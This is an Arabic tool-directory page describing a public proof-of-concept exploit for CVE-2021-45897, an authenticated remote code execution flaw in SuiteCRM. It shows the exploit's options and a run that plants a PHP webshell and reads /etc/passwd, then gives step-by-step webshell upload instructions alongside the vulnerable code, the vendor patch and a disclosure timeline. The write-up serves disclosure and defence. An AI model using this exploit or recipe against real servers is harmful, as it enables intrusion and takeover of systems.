Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/manuelz120/cve-2021-45897
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubmanuelz120/cve-2021-45897

CVE-2021-45897

# استغلال RCE مُصادق عليه لـ SuiteCRM <= 8.0.1 عبر رفع صورة في قالب البريد الإلكتروني، بزرع قشرة ويب PHP لتنفيذ أوامر عن بُعد.

عرض المستودع
185منذ 4 سنواتلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-45897

PoC لـ CVE-2021-45897 والمعروف أيضًا باسم SCRMBT-#180 - تنفيذ الأوامر عن بُعد عبر قوالب البريد الإلكتروني (يتطلب مصادقة فقط) في SuiteCRM <= 8.0.1

تم الإبلاغ عن هذه الثغرة الأمنية إلى SalesAgility وتم إصلاحها في SuiteCRM 7.12.3 و SuiteCRM Core 8.0.2. إذا كنت تستخدم إصدارات أقدم من SuiteCRM، أنصحك بشدة بتحديثها.

الاستخدام

التثبيت

  1. تأكد من تثبيت إصدار حديث من python3 و pip.
  2. استنسخ المستودع: git clone https://github.com/manuelz120/CVE-2021-45897.git
  3. ثبّت المكتبات المطلوبة pip3 install -r "requirements.txt"
  4. استمتع :)

الخيارات المتاحة:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2021-45897

مثال على الاستخدام:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------  Ending command output  ------
INFO:CVE-2021-45897:Enjoy your shell :)

الشرح الفني

اكتشفت مؤخرًا ناقل هجوم مثير للاهتمام لتنفيذ الأوامر عن بُعد في برنامج SuiteCRM المبني على PHP. تسمح هذه الثغرة الأمنية لمهاجم مصادق لديه وصول إلى وحدة EmailTemplates برفع ملفات PHP خبيثة، والتي يمكن استخدامها للحصول على تنفيذ الأوامر عن بُعد.

من وجهة نظري، تبدو معالجة رفع الملفات بشكل عام في SuiteCRM آمنة تمامًا. على الرغم من وجود الكثير من الأكواد المخصصة، إلا أن المطورين أولوا اهتمامًا كبيرًا إما لإزالة أي امتدادات ملفات (وهو ما يحدث لمعظم أنواع الملفات)، أو للتحقق من الامتدادات وتنظيف المحتوى في حالة كان صورة. حتى أن هناك واجهة إضافات لتحميل ماسحات ضوئية من جهات خارجية وجعلها تعالج أي عمليات رفع.

ومع ذلك، عثرت بالصدفة على ميزة صغيرة مثيرة للاهتمام مخفية في public/legacy/modules/EmailTemplates/EmailTemplate.php:

root@kitploit:~
private function repairEntryPointImages()
{
    global $sugar_config;

    // repair the images url at entry points, change to a public direct link for remote email clients..


    $html = from_html($this->body_html);
    $siteUrl = $sugar_config['site_url'];
    $regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';

    if (preg_match($regex, $html, $match)) {
        $splits = explode('.', $match[1]);
        $fileExtension = end($splits);
        $this->makePublicImage($match[2], $fileExtension);
        $newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
        $this->body_html = to_html(str_replace($match[1], $newSrc, $html));
        $this->imageLinkReplaced = true;
        $this->repairEntryPointImages();
    }
}

private function makePublicImage($id, $ext = 'jpg')
{
    $toFile = 'public/' . $id . '.' . $ext;
    if (file_exists($toFile)) {
        return;
    }
    $fromFile = 'upload://' . $id;
    if (!file_exists($fromFile)) {
        throw new Exception('file not found');
    }
    if (!file_exists('public')) {
        sugar_mkdir('public', 0777);
    }
    $fdata = file_get_contents($fromFile);
    if (!file_put_contents($toFile, $fdata)) {
        throw new Exception('file write error');
    }
}

يسمح SuiteCRM للمستخدمين بإنشاء قوالب بريد إلكتروني. يمكن أن تحتوي القوالب أيضًا على مرفقات، والتي يتم تخزينها في وحدة منفصلة (وحدة Notes). يمكن للمستخدمين إرفاق ملفات عشوائية بقوالب البريد الإلكتروني. لا يتم تنظيف محتوى الملف بأي شكل من الأشكال. ومع ذلك، يتم تخزينه بدون امتداد، لذلك حتى إذا كان يحتوي على كود PHP خبيث محتمل، فلن يتم تنفيذه بواسطة خادم الويب. يمكن للمستخدمين المصادقين أيضًا تنزيل هذه المرفقات باستخدام رابط يتبع التنسيق /index.php?entryPoint=download&type=Notes&id=<note-id>.

يتم تشغيل دالة repairEntryPointImages كلما تم حفظ قالب بريد إلكتروني أو الوصول إليه. إذا ألقينا نظرة على الكود، يمكننا أن نرى أنه يحلل ترميز (body_html) لقالب البريد الإلكتروني ويبحث عن وسوم HTML img مع خاصية src خاصة. يشبه التعبير النمطي بشكل أساسي تنسيق رابط تنزيل المرفقات الداخلي. ومع ذلك، تعمل هذه الروابط فقط للمستخدمين المصادقين في SuiteCRM، وهو على الأرجح ليس الحال بالنسبة لمستلم البريد الإلكتروني. لذلك، يقوم SuiteCRM تلقائيًا بإنشاء نسخة من المرفق في مجلد public لخادم الويب ويستبدل رابط التنزيل الداخلي بالنسخة العامة. لضمان عرض عميل البريد الإلكتروني للصور بشكل صحيح، يضيف أيضًا امتداد ملف. ومع ذلك، يتم أخذ امتداد الملف الهدف في المجلد العام مباشرة من معامل filename في استعلام صورة src ولا يتم التحقق منه (لاحظ أن filename لا يطلق أي منطق آخر ويمكن اختياره بحرية).

الآن لدينا كل شيء معًا لصياغة استغلال يرفع قشرة ويب PHP في مجلد public:

  1. أنشئ مرفق بريد إلكتروني جديد / سجل في وحدة Notes عن طريق رفع قشرة ويب PHP. تذكر معرف Note
  2. سيخزن SuiteCRM ملف قشرة الويب بدون امتداد في مجلد الرفع
  3. تحقق من أنه يمكنك تنزيل ملف PHP عن طريق الوصول إلى /index.php?entryPoint=download&type=Notes&id=<note_id>
  4. أنشئ قالب بريد إلكتروني جديد وأضف وسم صورة يطابق التعبير النمطي في repairEntryPointImages، ولكن استخدم .php لمعامل استعلام filename (على سبيل المثال /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />).
  5. احفظ / أعد تحميل قالب البريد الإلكتروني - سيقوم SuiteCRM بتنفيذ دالة repairEntryPointImages ونسخ قشرة الويب الخاصة بنا بامتداد .php إلى مجلد public
  6. استمتع بقشرتك على http://<<host>>/public/<<note_id>>.php

الإصلاح المطبق

بعد فترة وجيزة من تقريري، تم إصدار إصدارات جديدة من SuiteCRM (7.12.3 و 8.0.2)، والتي تحتوي على الإصلاح التالي:

patch.png

https://github.com/salesagility/SuiteCRM-Core/commit/5d699396379d7af8697ec985ebc425836202ed43#diff-fb3b09c19812fa070cc86927149c52ef4bffc3057a82249a12f4a82bc0dd576dR922-R926

يضمن هذا استخدام امتدادات ملفات الصور الصالحة فقط في repairEntryPointImages ويمنع إنشاء ملفات بامتدادات غير مدرجة في القائمة البيضاء مثل .php.

الجدول الزمني

  • 21/12/2021: اكتشاف الثغرة الأمنية والإبلاغ عنها إلى SuiteCRM
  • 22/12/2021: تأكيد الثغرة الأمنية من قبل البائع (SalesAgility)
  • 27/01/2022: إصدار الإصدارات المُصلحة (SuiteCRM 7.12.3 و SuiteCRM Core 8.0.2)
تنزيل الأداة